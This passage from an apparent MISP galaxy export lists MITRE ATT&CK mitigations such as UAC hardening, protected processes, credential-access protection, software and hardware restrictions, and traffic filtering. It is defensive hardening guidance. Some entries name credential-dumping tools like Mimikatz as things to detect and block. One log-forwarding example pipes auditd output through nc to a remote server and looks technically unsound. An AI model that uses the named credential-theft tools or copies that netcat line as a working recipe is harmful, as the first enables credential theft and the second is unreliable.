Set `Admin Approval Mode` for the built-in Administrator account to `Enabled` in Group Policy.

Secure the UAC Prompt:

- Configure UAC prompts to display on the secure desktop (`User Account Control: Switch to the secure desktop when prompting for elevation`).

Prevent UAC Bypass:

- Block untrusted applications from triggering UAC prompts by configuring `User Account Control: Only elevate executables that are signed and validated`.
- Use EDR tools to detect and block known UAC bypass techniques.

Monitor UAC-Related Events:

- Use Windows Event Viewer to monitor for event ID 4688 (process creation) and look for

suspicious processes attempting to invoke UAC elevation.

Tools for Implementation

Built-in Windows Tools:

- Group Policy Editor: Configure UAC settings centrally for enterprise environments.
- Registry Editor: Modify UAC-related settings directly, such as `EnableLUA` and `ConsentPromptBehaviorAdmin`.

Endpoint Security Solutions:

- Microsoft Defender for Endpoint: Detects and blocks UAC bypass techniques.
- Sysmon: Logs process creations and monitors UAC elevation attempts for suspicious activity.

Third-Party Security Tools:

- Process Monitor (Sysinternals): Tracks real-time processes interacting with UAC.
- EventSentry: Monitors Windows Event Logs for UAC-related alerts.

The tag is: *misp-galaxy:mitre-course-of-action="User Account Control - M1052"*

Table 9320. Table References

Links
https://attack.mitre.org/mitigations/M1052

Privileged Process Integrity - M1025

Privileged Process Integrity focuses on defending highly privileged processes (e.g., system services, antivirus, or authentication processes) from tampering, injection, or compromise by adversaries. These processes often interact with critical components, making them prime targets for techniques like code injection, privilege escalation, and process manipulation. This mitigation can be implemented through the following measures:

Protected Process Mechanisms:

- Enable RunAsPPL on Windows systems to protect LSASS and other critical processes.
- Use registry modifications to enforce protected process settings: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL`

Anti-Injection and Memory Protection:

- Enable Control Flow Guard (CFG), DEP, and ASLR to protect against process memory tampering.
- Deploy endpoint protection tools that actively block process injection attempts.

Code Signing Validation:

- Implement policies for Windows Defender Application Control (WDAC) or AppLocker to enforce

execution of signed binaries.

- Ensure critical processes are signed with valid certificates.

Access Controls:

- Use DACLs and MIC to limit which users and processes can interact with privileged processes.
- Disable unnecessary debugging capabilities for high-privileged processes.

Kernel-Level Protections:

- Ensure Kernel Patch Protection (PatchGuard) is enabled on Windows systems.
- Leverage SELinux or AppArmor on Linux to enforce kernel-level security policies.

Tools for Implementation

Protected Process Light (PPL):

- RunAsPPL (Windows)
- Windows Defender Credential Guard

Code Integrity and Signing:

- Windows Defender Application Control (WDAC)
- AppLocker
- SELinux/AppArmor (Linux)

Memory Protection:

- Control Flow Guard (CFG), Data Execution Prevention (DEP), ASLR

Process Isolation/Sandboxing:

- Firejail (Linux Sandbox)
- Windows Sandbox
- QEMU/KVM-based isolation

Kernel Protection:

- PatchGuard (Windows Kernel Patch Protection)
- SELinux (Mandatory Access Control for Linux)
- AppArmor

The tag is: *misp-galaxy:mitre-course-of-action="Privileged Process Integrity - M1025"*

Table 9321. Table References

Links
https://attack.mitre.org/mitigations/M1025

Port Knocking Mitigation - T1205

Mitigation of some variants of this technique could be achieved through the use of stateful firewalls, depending upon how it is implemented.

The tag is: *misp-galaxy:mitre-course-of-action="Port Knocking Mitigation - T1205"*

Table 9322. Table References

Links
https://attack.mitre.org/mitigations/T1205

Privileged Account Management - M1026

Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:

Account Permissions and Roles:

- Implement RBAC and least privilege principles to allocate permissions securely.
- Use tools like Active Directory Group Policies to enforce access restrictions.

Credential Security:

- Deploy password vaulting tools like CyberArk, HashiCorp Vault, or KeePass for secure storage and rotation of credentials.
- Enforce password policies for complexity, uniqueness, and expiration using tools like Microsoft Group Policy Objects (GPO).

Multi-Factor Authentication (MFA):

- Enforce MFA for all privileged accounts using Duo Security, Okta, or Microsoft Azure AD MFA.

Privileged Access Management (PAM):

- Use PAM solutions like CyberArk, BeyondTrust, or Thycotic to manage, monitor, and audit privileged access.

Auditing and Monitoring:

- Integrate activity monitoring into your SIEM (e.g., Splunk or QRadar) to detect and alert on anomalous privileged account usage.

Just-In-Time Access:

- Deploy JIT solutions like Azure Privileged Identity Management (PIM) or configure ephemeral roles in AWS and GCP to grant time-limited elevated permissions.

Tools for Implementation

Privileged Access Management (PAM):

- CyberArk, BeyondTrust, Thycotic, HashiCorp Vault.

Credential Management:

- Microsoft LAPS (Local Admin Password Solution), Password Safe, HashiCorp Vault, KeePass.

Multi-Factor Authentication:

- Duo Security, Okta, Microsoft Azure MFA, Google Authenticator.

Linux Privilege Management:

- sudo configuration, SELinux, AppArmor.

Just-In-Time Access:

- Azure Privileged Identity Management (PIM), AWS IAM Roles with session constraints, GCP Identity-Aware Proxy.

The tag is: *misp-galaxy:mitre-course-of-action="Privileged Account Management - M1026"*

Table 9323. Table References

Links
https://attack.mitre.org/mitigations/M1026

Multiband Communication Mitigation - T1026

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Multiband Communication Mitigation - T1026"*

Table 9324. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1026

Sudo Caching Mitigation - T1206

Setting the <code>timestamp_timeout</code> to 0 will require the user to input their password

every time <code>sudo</code> is executed. Similarly, ensuring that the <code>tty_tickets</code> setting is enabled will prevent this leakage across tty sessions.

The tag is: *misp-galaxy:mitre-course-of-action="Sudo Caching Mitigation - T1206"*

Table 9325. Table References

Links
https://attack.mitre.org/mitigations/T1206

Operating System Configuration - M1028

Operating System Configuration involves adjusting system settings and hardening the default configurations of an operating system (OS) to mitigate adversary exploitation and prevent abuse of system functionality. Proper OS configurations address security vulnerabilities, limit attack surfaces, and ensure robust defense against a wide range of techniques. This mitigation can be implemented through the following measures:

Disable Unused Features:

- Turn off SMBv1, LLMNR, and NetBIOS where not needed.
- Disable remote registry and unnecessary services.

Enforce OS-level Protections:

- Enable Data Execution Prevention (DEP), Address Space Layout Randomization (ASLR), and Control Flow Guard (CFG) on Windows.
- Use AppArmor or SELinux on Linux for mandatory access controls.

Secure Access Settings:

- Enable User Account Control (UAC) for Windows.
- Restrict root/sudo access on Linux/macOS and enforce strong permissions using sudoers files.

File System Hardening:

- Implement least-privilege access for critical files and system directories.
- Audit permissions regularly using tools like icacls (Windows) or getfacl/chmod (Linux/macOS).

Secure Remote Access:

- Restrict RDP, SSH, and VNC to authorized IPs using firewall rules.
- Enable NLA for RDP and enforce strong password/lockout policies.

Harden Boot Configurations:

- Enable Secure Boot and enforce UEFI/BIOS password protection.
- Use BitLocker or LUKS to encrypt boot drives.

Regular Audits:

- Periodically audit OS configurations using tools like CIS Benchmarks or SCAP tools.

Tools for Implementation

Windows:

- Microsoft Group Policy Objects (GPO): Centrally enforce OS security settings.
- Windows Defender Exploit Guard: Built-in OS protection against exploits.
- CIS-CAT Pro: Audit Windows security configurations based on CIS Benchmarks.

Linux/macOS:

- AppArmor/SELinux: Enforce mandatory access controls.
- Lynis: Perform comprehensive security audits.
- SCAP Security Guide: Automate configuration hardening using Security Content Automation Protocol.

Cross-Platform:

- Ansible or Chef/Puppet: Automate configuration hardening at scale.
- OpenSCAP: Perform compliance and configuration checks.

The tag is: *misp-galaxy:mitre-course-of-action="Operating System Configuration - M1028"*

Table 9326. Table References

Links
https://attack.mitre.org/mitigations/M1028

Remote Data Storage - M1029

Remote Data Storage focuses on moving critical data, such as security logs and sensitive files, to secure, off-host locations to minimize unauthorized access, tampering, or destruction by adversaries. By leveraging remote storage solutions, organizations enhance the protection of forensic evidence, sensitive information, and monitoring data. This mitigation can be implemented through the following measures:

Centralized Log Management:

- Configure endpoints to forward security logs to a centralized log collector or SIEM.
- Use tools like Splunk Graylog, or Security Onion to aggregate and store logs.
- Example command (Linux): `sudo auditd | tee /var/log/audit/audit.log | nc <remote-log-server> 514`

Remote File Storage Solutions:

- Utilize cloud storage solutions like AWS S3, Google Cloud Storage, or Azure Blob Storage for sensitive data.
- Ensure proper encryption at rest and access control policies (IAM roles, ACLs).

Intrusion Detection Log Forwarding:

- Forward logs from IDS/IPS systems (e.g., Zeek/Suricata) to a remote security information system.
- Example for Suricata log forwarding: `outputs:
- type: syslog protocol: tls address: <remote-syslog-server>`

Immutable Backup Configurations:

- Enable immutable storage settings for backups to prevent adversaries from modifying or deleting data.
- Example: AWS S3 Object Lock.

Data Encryption:

- Ensure encryption for sensitive data using AES-256 at rest and TLS 1.2+ for data in transit. Tools: OpenSSL, BitLocker, LUKS for Linux.

The tag is: *misp-galaxy:mitre-course-of-action="Remote Data Storage - M1029"*

Table 9327. Table References

Links
https://attack.mitre.org/mitigations/M1029

Time Providers Mitigation - T1209

Identify and block potentially malicious software that may be executed as a time provider by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.

Consider using Group Policy to configure and block subsequent modifications to W32Time parameters. (Citation: Microsoft W32Time May 2017)

The tag is: *misp-galaxy:mitre-course-of-action="Time Providers Mitigation - T1209"*

Table 9328. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm

https://attack.mitre.org/mitigations/T1209
https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings

Scheduled Transfer Mitigation - T1029

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Scheduled Transfer Mitigation - T1029"*

Table 9329. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1029

Limit Software Installation - M1033

Prevent users or groups from installing unauthorized or unapproved software to reduce the risk of introducing malicious or vulnerable applications. This can be achieved through allowlists, software restriction policies, endpoint management tools, and least privilege access principles. This mitigation can be implemented through the following measures:

Application Whitelisting

- Implement Microsoft AppLocker or Windows Defender Application Control (WDAC) to create and enforce allowlists for approved software.
- Whitelist applications based on file hash, path, or digital signatures.

Restrict User Permissions

- Remove local administrator rights for all non-IT users.
- Use Role-Based Access Control (RBAC) to restrict installation permissions to privileged accounts only.

Software Restriction Policies (SRP)

- Use GPO to configure SRP to deny execution of binaries from directories such as `%AppData%`, `%Temp%`, and external drives.
- Restrict specific file types (`.exe`, `.bat`, `.msi`, `.js`, `.vbs`) to trusted directories only.

Endpoint Management Solutions

- Deploy tools like Microsoft Intune, SCCM, or Jamf for centralized software management.
- Maintain a list of approved software, versions, and updates across the enterprise.

Monitor Software Installation Events

- Enable logging of software installation events and monitor Windows Event ID 4688 and Event ID 11707 for software installs.
- Use SIEM or EDR tools to alert on attempts to install unapproved software.

Implement Software Inventory Management

- Use tools like OSQuery or Wazuh to scan for unauthorized software on endpoints and servers.
- Conduct regular audits to detect and remove unapproved software.

Tools for Implementation

Application Whitelisting:

- Microsoft AppLocker
- Windows Defender Application Control (WDAC)

Endpoint Management:

- Microsoft Intune
- SCCM (System Center Configuration Manager)
- Jamf Pro (macOS)
- Puppet or Ansible for automation

Software Restriction Policies:

- Group Policy Object (GPO)
- Microsoft Software Restriction Policies (SRP)

Monitoring and Logging:

- Splunk
- OSQuery
- Wazuh (open-source SIEM and XDR)
- EDRs

Inventory Management and Auditing:

- OSQuery
- Wazuh

The tag is: *misp-galaxy:mitre-course-of-action="Limit Software Installation - M1033"*

Table 9330. Table References

Links
https://attack.mitre.org/mitigations/M1033

Credential Access Protection - M1043

Credential Access Protection focuses on implementing measures to prevent adversaries from obtaining credentials, such as passwords, hashes, tokens, or keys, that could be used for unauthorized access. This involves restricting access to credential storage mechanisms, hardening configurations to block credential dumping methods, and using monitoring tools to detect suspicious credential-related activity. This mitigation can be implemented through the following measures:

Restrict Access to Credential Storage:

- Use Case: Prevent adversaries from accessing the SAM (Security Account Manager) database on Windows systems.
- Implementation: Enforce least privilege principles and restrict administrative access to credential stores such as `C:\Windows\System32\config\SAM`.

Use Credential Guard:

- Use Case: Isolate LSASS (Local Security Authority Subsystem Service) memory to prevent credential dumping.
- Implementation: Enable Windows Defender Credential Guard on enterprise endpoints to isolate secrets and protect them from unauthorized access.

Monitor for Credential Dumping Tools:

- Use Case: Detect and block known tools like Mimikatz or Windows Credential Editor.
- Implementation: Flag suspicious process behavior related to credential dumping.

Disable Cached Credentials:

- Use Case: Prevent adversaries from exploiting cached credentials on endpoints.
- Implementation: Configure group policy to reduce or eliminate the use of cached credentials (e.g., set Interactive logon: Number of previous logons to cache to 0).

Enable Secure Boot and Memory Protections:

- Use Case: Prevent memory-based attacks used to extract credentials.
- Implementation: Configure Secure Boot and enforce hardware-based security features like DEP (Data Execution Prevention) and ASLR (Address Space Layout Randomization).

The tag is: *misp-galaxy:mitre-course-of-action="Credential Access Protection - M1043"*

Table 9331. Table References

Links
https://attack.mitre.org/mitigations/M1043

Limit Hardware Installation - M1034

Prevent unauthorized users or groups from installing or using hardware, such as external drives, peripheral devices, or unapproved internal hardware components, by enforcing hardware usage policies and technical controls. This includes disabling USB ports, restricting driver installation, and implementing endpoint security tools to monitor and block unapproved devices. This mitigation can be implemented through the following measures:

Disable USB Ports and Hardware Installation Policies:

- Use Group Policy Objects (GPO) to disable USB mass storage devices:
- Navigate to Computer Configuration > Administrative Templates > System > Removable Storage Access.
- Deny write and read access to USB devices.
- Whitelist approved devices using unique serial numbers via Windows Device Installation Policies.

Deploy Endpoint Protection and Device Control Solutions:

- Use tools like Microsoft Defender for Endpoint, Symantec Endpoint Protection, or Tanium to monitor and block unauthorized hardware.
- Implement device control policies to allow specific hardware types (e.g., keyboards, mice) and block others.

Harden BIOS/UEFI and System Firmware:

- Set strong passwords for BIOS/UEFI access.
- Enable Secure Boot to prevent rogue hardware components from loading unauthorized firmware.

Restrict Peripheral Devices and Drivers:

- Use Windows Device Manager Policies to block installation of unapproved drivers.
- Monitor hardware installation attempts through endpoint monitoring tools.

Disable Bluetooth and Wireless Hardware:

- Use GPO or MDM tools to disable Bluetooth and Wi-Fi interfaces across systems.
- Restrict hardware pairing to approved devices only.

Logging and Monitoring:

- Enable logging for hardware installation events in Windows Event Logs (Event ID 20001 for

Device Setup Manager).

- Use SIEM solutions (e.g., Splunk, Elastic Stack) to detect unauthorized hardware installation activities.

Tools for Implementation

USB and Device Control:

- Microsoft Group Policy Objects (GPO)
- Microsoft Defender for Endpoint
- Symantec Endpoint Protection
- McAfee Device Control

Endpoint Monitoring:

- EDRs
- OSSEC (open-source host-based IDS)

Hardware Whitelisting:

- BitLocker for external drives (Windows)
- Windows Device Installation Policies
- Device Control

BIOS/UEFI Security:

- Secure Boot (Windows/Linux) Firmware management tools like Dell Command Update or HP Sure Start

The tag is: *misp-galaxy:mitre-course-of-action="Limit Hardware Installation - M1034"*

Table 9332. Table References

Links
https://attack.mitre.org/mitigations/M1034

Path Interception Mitigation - T1034

Eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them (Citation: Microsoft CreateProcess). Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate (Citation: MSDN DLL Security). Clean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries.

Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations (Citation: Kanthak Sentinel).

Require that all executables be placed in write-protected directories. Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory <code>C:</code> and system directories, such as <code>C:\Windows\</code>, to reduce places where malicious files could be placed for execution.

Identify and block potentially malicious software that may be executed through the path interception by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies, (Citation: Corio 2008) that are capable of auditing and/or blocking unknown executables.

The tag is: *misp-galaxy:mitre-course-of-action="Path Interception Mitigation - T1034"*

Table 9333. Table References

Links
http://msdn.microsoft.com/en-us/library/ms682425
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1034
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://msdn.microsoft.com/en-us/library/ff919712.aspx
https://skanthak.homepage.t-online.de/sentinel.html

Service Execution Mitigation - T1035

Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level. Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.

Identify unnecessary system utilities or potentially malicious software that may be used to interact with Windows services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Service Execution Mitigation - T1035"*

Table 9334. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx

http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1035
https://technet.microsoft.com/en-us/library/ee791851.aspx

Scheduled Task Mitigation - T1053

Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)

Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl</code>. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)

Configure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)

Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Scheduled Task Mitigation - T1053"*

Table 9335. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1053
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://github.com/mattifestation/PowerSploit
https://technet.microsoft.com/en-us/library/ee791851.aspx

https://technet.microsoft.com/library/dn221960.aspx
https://technet.microsoft.com/library/jj852168.aspx

Account Use Policies - M1036

Account Use Policies help mitigate unauthorized access by configuring and enforcing rules that govern how and when accounts can be used. These policies include enforcing account lockout mechanisms, restricting login times, and setting inactivity timeouts. Proper configuration of these policies reduces the risk of brute-force attacks, credential theft, and unauthorized access by limiting the opportunities for malicious actors to exploit accounts. This mitigation can be implemented through the following measures:

Account Lockout Policies:

- Implementation: Configure account lockout settings so that after a defined number of failed login attempts (e.g., 3-5 attempts), the account is locked for a specific time period (e.g., 15 minutes) or requires an administrator to unlock it.
- Use Case: This prevents brute-force attacks by limiting how many incorrect password attempts can be made before the account is temporarily disabled, reducing the likelihood of an attacker successfully guessing a password.

Login Time Restrictions:

- Implementation: Set up login time policies to restrict when users or groups can log into systems. For example, only allowing login during standard business hours (e.g., 8 AM to 6 PM) for non-administrative accounts.
- Use Case: This prevents unauthorized access outside of approved working hours, where login attempts might be more suspicious or harder to monitor. For example, if an account that is only supposed to be active during the day logs in at 2 AM, it should raise an alert or be blocked.

Inactivity Timeout and Session Termination:

- Implementation: Enforce session timeouts after a period of inactivity (e.g., 10-15 minutes) and require users to re-authenticate if they wish to resume the session.
- Use Case: This policy prevents attackers from hijacking active sessions left unattended. For example, if an employee walks away from their computer without locking it, an attacker with physical access to the system would be unable to exploit the session.

Password Aging Policies:

- Implementation: Enforce password aging rules, requiring users to change their passwords after a defined period (e.g., 90 days) and ensure passwords are not reused by maintaining a password history.
- Use Case: This limits the risk of compromised passwords being used indefinitely. Regular password changes make it more difficult for attackers to reuse stolen credentials.

Account Expiration and Deactivation:

- Implementation: Configure user accounts, especially for temporary or contract workers, to automatically expire after a set date or event. Accounts that remain unused for a specific period should be deactivated automatically.
- Use Case: This prevents dormant accounts from becoming an attack vector. For example, an attacker can exploit unused accounts if they are not properly monitored or deactivated.

Tools for Implementation:

- Group Policy Objects (GPOs) in Windows: To enforce account lockout thresholds, login time restrictions, session timeouts, and password policies.
- Identity and Access Management (IAM) solutions: For centralized management of user accounts, session policies, and automated deactivation of accounts.
- Security Information and Event Management (SIEM) platforms: To monitor and alert on unusual login activity, such as failed logins or out-of-hours access attempts.
- Multi-Factor Authentication (MFA) Tools: To further enforce secure login attempts, preventing brute-force or credential stuffing attacks.

The tag is: *misp-galaxy:mitre-course-of-action="Account Use Policies - M1036"*

Table 9336. Table References

Links
https://attack.mitre.org/mitigations/M1036

Filter Network Traffic - M1037

Employ network appliances and endpoint software to filter ingress, egress, and lateral network traffic. This includes protocol-based filtering, enforcing firewall rules, and blocking or restricting traffic based on predefined conditions to limit adversary movement and data exfiltration. This mitigation can be implemented through the following measures:

Ingress Traffic Filtering:

- Use Case: Configure network firewalls to allow traffic only from authorized IP addresses to public-facing servers.
- Implementation: Limit SSH (port 22) and RDP (port 3389) traffic to specific IP ranges.

Egress Traffic Filtering:

- Use Case: Use firewalls or endpoint security software to block unauthorized outbound traffic to prevent data exfiltration and command-and-control (C2) communications.
- Implementation: Block outbound traffic to known malicious IPs or regions where communication is unexpected.

Protocol-Based Filtering:

- Use Case: Restrict the use of specific protocols that are commonly abused by adversaries, such

as SMB, RPC, or Telnet, based on business needs.

- Implementation: Disable SMBv1 on endpoints to prevent exploits like EternalBlue.

Network Segmentation:

- Use Case: Create network segments for critical systems and restrict communication between segments unless explicitly authorized.
- Implementation: Implement VLANs to isolate IoT devices or guest networks from core business systems.

Application Layer Filtering:

- Use Case: Use proxy servers or Web Application Firewalls (WAFs) to inspect and block malicious HTTP/S traffic.
- Implementation: Configure a WAF to block SQL injection attempts or other web application exploitation techniques.

The tag is: *misp-galaxy:mitre-course-of-action="Filter Network Traffic - M1037"*

Table 9337. Table References

Links
https://attack.mitre.org/mitigations/M1037

Logon Scripts Mitigation - T1037

Restrict write access to logon scripts to specific administrators. Prevent access to administrator accounts by mitigating Credential Access techniques and limiting account access and permissions of [Valid Accounts](https://attack.mitre.org/techniques/T1078).

Identify and block potentially malicious software that may be executed through logon script modification by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.

The tag is: *misp-galaxy:mitre-course-of-action="Logon Scripts Mitigation - T1037"*

Table 9338. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1037

Environment Variable Permissions - M1039

Restrict the modification of environment variables to authorized users and processes by enforcing strict permissions and policies. This ensures the integrity of environment variables, preventing adversaries from abusing or altering them for malicious purposes. This mitigation can be implemented through the following measures:

Restrict Write Access:

- Use Case: Set file system-level permissions to restrict access to environment variable configuration files (e.g., `.bashrc`, `.bash_profile`, `.zshrc`, `systemd` service files).
- Implementation: Configure `/etc/environment` or `/etc/profile` on Linux systems to only allow root or administrators to modify the file.

Secure Access Controls:

- Use Case: Limit access to environment variable settings in application deployment tools or CI/CD pipelines to authorized personnel.
- Implementation: Use role-based access control (RBAC) in tools like Jenkins or GitLab to ensure only specific users can modify environment variables.

Restrict Process Scope:

- Use Case: Configure policies to ensure environment variables are only accessible to the processes they are explicitly intended for.
- Implementation: Use containerized environments like Docker to isolate environment variables to specific containers and ensure they are not inherited by other processes.

Audit Environment Variable Changes:

- Use Case: Enable logging for changes to critical environment variables.
- Implementation: Use `auditd` on Linux to monitor changes to files like `/etc/environment` or application-specific environment files.

The tag is: *misp-galaxy:mitre-course-of-action="Environment Variable Permissions - M1039"*

Table 9339. Table References

Links
https://attack.mitre.org/mitigations/M1039

Process Hollowing Mitigation - T1093

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Although process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Process Hollowing Mitigation - T1093"*

Table 9340. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1093
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Restrict Library Loading - M1044

Restricting library loading involves implementing security controls to ensure that only trusted and verified libraries (DLLs, shared objects, etc.) are loaded into processes. Adversaries often abuse Dynamic-Link Library (DLL) Injection, DLL Search Order Hijacking, or LD_PRELOAD mechanisms to execute malicious code by forcing the operating system to load untrusted libraries. This mitigation can be implemented through the following measures:

Enforce Safe Library Loading Practices:

- Enable `SafeDLLSearchMode` on Windows.
- Restrict `LD_PRELOAD` and `LD_LIBRARY_PATH` usage on Linux systems.

Code Signing Enforcement:

- Require digital signatures for all libraries loaded into processes.
- Use tools like Signtool, and WDAC to enforce signed DLL execution.

Environment Hardening:

- Secure library paths and directories to prevent adversaries from placing rogue libraries.
- Monitor user-writable directories and system configurations for unauthorized changes.

Audit and Monitor Library Loading:

- Enable `Sysmon` on Windows to monitor for suspicious library loads.

- Use `auditd` on Linux to monitor shared library paths and configuration file changes.

Use Application Control Solutions:

- Implement AppLocker, WDAC, or SELinux to allow only trusted libraries.

Tools for Implementation

Windows-Specific Tools:

- AppLocker: Application whitelisting for DLLs.
- Windows Defender Application Control (WDAC): Restrict unauthorized library execution.
- Signtool: Verify and enforce code signing.
- Sysmon: Monitor DLL load events (Event ID 7).

Linux-Specific Tools:

- auditd: Monitor changes to library paths and critical files.
- SELinux/AppArmor: Define policies to restrict library loading.
- ldconfig and chattr: Secure LD configuration files and prevent unauthorized modifications.

Cross-Platform Solutions:

- Wazuh or OSSEC: File integrity monitoring for library changes.
- Tripwire: Detect and alert on unauthorized library modifications.

The tag is: *misp-galaxy:mitre-course-of-action="Restrict Library Loading - M1044"*

Table 9341. Table References

Links
https://attack.mitre.org/mitigations/M1044

Indicator Blocking Mitigation - T1054

Ensure event tracers/forwarders (Citation: Microsoft ETW May 2018), firewall policies, and other associated mechanisms are secured with appropriate permissions and access controls. Consider automatically relaunching forwarding mechanisms at recurring intervals (ex: temporal, on-logon, etc.) as well as applying appropriate change management to firewall rules and other related system configurations.

The tag is: *misp-galaxy:mitre-course-of-action="Indicator Blocking Mitigation - T1054"*

Table 9342. Table References

Links
https://attack.mitre.org/mitigations/T1054
https://docs.microsoft.com/windows/desktop/etw/event-tracing-portal

Software Packing Mitigation - T1045

Ensure updated virus definitions. Create custom signatures for observed malware. Employ heuristic-based malware detection.

Identify and prevent execution of potentially malicious software that may have been packed by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Software Packing Mitigation - T1045"*

Table 9343. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
